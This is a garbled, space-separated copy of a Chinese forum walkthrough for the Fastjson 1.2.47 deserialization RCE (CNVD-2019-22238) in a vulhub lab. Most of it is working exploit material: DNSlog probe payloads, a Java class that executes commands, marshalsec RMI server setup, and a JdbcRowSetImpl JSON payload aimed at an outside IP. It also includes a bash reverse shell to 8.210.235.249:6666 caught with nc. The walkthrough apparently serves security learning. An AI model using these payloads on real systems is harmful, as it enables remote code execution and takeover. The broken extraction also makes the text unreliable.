[158] 2020-08-10_Fastjson=1.2.47反序列化RCE漏洞(CNVD‐2019‐22238)

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-16
2020-08-10_Fastjson=1.2.47反序列化RCE漏洞(CNVD‐2019‐22238) F a s t j s o n < = 1 . 2 . 4 7 R C E C N V D 2 0 1 9 2 2 2 3 8   t a o i n g   A d m i n   T e a m   2 0 2 0 - 0 8 - 1 0 F a s t j s o n   < = 1 . 2 . 4 7 R C E C N V D 2 0 1 9 2 2 2 3 8     F a s t j s o n   J S O N   J S O N     J a v a   B e a n       J S O N     J S O N     J a v a B e a n F a s t j s o n a u t o t y p e @ t y p e   F a s t j s o n s e t t e r g e t t e r   a u t o t y p e 使   s e t t e r g e t t e r   G a d g e t F a s t j s o n   1 . 2 . 4 7   a u t o t y p e   F a s t j s o n 1 . 2 . 4 7 v u l h u b f a s t j s o n c d   1 . 2 . 4 7 r c e /   d o c k e r c o m p o s e   u p   d F a s t J s o n
{ " a " : { " @ t y p e " : " j a v a . n e t . I n e t 4 A d d r e s s " , " v a l " : " d n s l o g " } } { " a " : { " @ t y p e " : " j a v a . n e t . I n e t 6 A d d r e s s " , " v a l " : " d n s l o g " } } { " a " : { " @ t y p e " : " j a v a . n e t . I n e t S o c k e t A d d r e s s " { " a d d r e s s " : , " v a l " : " d n s l o g " } } } { " a " : { " @ t y p e " : " c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t " ,   { " @ t y p e " :   " j a v a . n e t . U R L " ,   " v a l " : " d n s l o g " } } " " } } { " a " : { " @ t y p e " : " j a v a . n e t . U R L " , " v a l " : " d n s l o g " } }
1 T o u c h F i l e . c l a s s T o u c h F i l e T o u c h F i l e . c l a s s t o m c a t   w e b a p p s / R O O T   j a v a 2 使 j a v a j a v a c   T o u c h F i l e . j a v a   # T o u c h F i l e . c l a s s 3 d o c k e r   t o m c a t i m p o r t   j a v a . l a n g . R u n t i m e ;   i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   T o u c h F i l e   {           s t a t i c   {                   t r y   {                         R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;                           S t r i n g [ ]   c o m m a n d s   =   { " t o u c h " ,   " / t m p / s u c c e s s " } ;                           P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ;                           p c . w a i t F o r ( ) ;                                           }   c a t c h   ( E x c e p t i o n   e )   {                           / /   d o   n o t h i n g                   }         }   } s u d o   a p t g e t   u p d a t e   # s u d o   a p t   i n s t a l l   d e f a u l t j r e   # j r e   j a v a   v e r s i o n   # j a v a c u r l   s   h t t p s : / / g e t . d o c k e r . c o m /   |   s h c u r l   s   h t t p s : / / b o o t s t r a p . p y p a . i o / g e t p i p . p y   |   p y t h o n p i p   i n s t a l l   d o c k e r c o m p o s e
4 宿 D o c k e r                                                                                                                                                                                               e x p . c l a s s w e b h t t p : / / y o u r s _ i p / e x p / T o u c h F i l e . c l a s s   h t t p : / / 8 . 2 1 0 . 2 3 5 . 2 4 9 / T o u c h F i l e / T o u c h F i l e . c l a s s 5 m a r s h a l s e c r m i l d a p R M I 9 9 8 8 T o u c h F i l e . c l a s s 6 P a y l o a d d o c k e r   s e a r c h   t o m c a t   # ( D o c k e r   H u b ) d o c k e r   p u l l   t o m c a t : 8 . 0 . 5 2   # t o m c a t d o c k e r   i m a g e s   # d o c k e r   r u n   n a m e   y t o m c a t   d   p   8 0 8 1 : 8 0 8 0   t o m c a t : 8 . 0 . 5 2   # d o c k e r   c p     c o n t a i n e r _ i d : < d o c k e r > d o c k e r   c p   / r o o t / T o u c h F i l e . c l a s s   5 e f f 9 f 3 8 e 0 c 7 : / u s r / l o c a l / t o m c a t / w e b a p p s / R O O T   # m k d i r   T o u c h F i l e   # T o u c h F i l e m v   T o u c h F i l e . c l a s s   T o u c h F i l e   # T o u c h F i l e . c l a s s T o u c h F i l e a p t   i n s t a l l   g i t   # g i t g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m b e c h l e r / m a r s h a l s e c   # m a r s h a l s e c a p t   i n s t a l l   m a v e n   # m a v e n 使 m a v e n j a r c d   m a r s h a l s e c m v n   c l e a n   p a c k a g e   D s k i p T e s t s c d   t a r g e t   j a v a   c p   m a r s h a l s e c 0 . 0 . 3 S N A P S H O T a l l . j a r   m a r s h a l s e c . j n d i . R M I R e f S e r v e r   " h t   t p : / / 8 . 2 1 0 . 2 3 5 . 2 4 9 / # T o u c h F i l e "   9 9 8 8 P O S T   /   H T T P / 1 . 1 H o s t :   y o u r i p : 8 0 9 0 A c c e p t E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * A c c e p t L a n g u a g e :   e n U s e r A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o n t e n t T y p e :   a p p l i c a t i o n / j s o n C o n t e n t L e n g t h :   1 6 0 {
s h e l l > T o u c h F i l e . c l a s s w e b > R M I > n c     > b u r p s u i t e P a y l o a d {         " a " : {                 " @ t y p e " : " j a v a . l a n g . C l a s s " ,                 " v a l " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l "           } ,           " b " : {                   " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " ,                   " d a t a S o u r c e N a m e " : " r m i : / / 8 . 2 1 0 . 2 3 5 . 2 4 9 / e x p "                   " a u t o C o m m i t " : t r u e           } } i m p o r t   j a v a . l a n g . R u n t i m e ; i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   T o u c h F i l e   {         s t a t i c   {                 t r y   {                         R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;                         S t r i n g [ ]   c o m m a n d s   =   { " / b i n / b a s h " , " c " , " b a s h   i   > &   / d e v / t c p / 8 . 2 1   0 . 2 3 5 . 2 4 9 / 6 6 6 6   0 > & 1 " } ;                         P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ;                         p c . w a i t F o r ( ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         / /   d o   n o t h i n g                 }         } }
F a s t j s o n C N V D 2 0 1 7 0 2 8 3 3
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则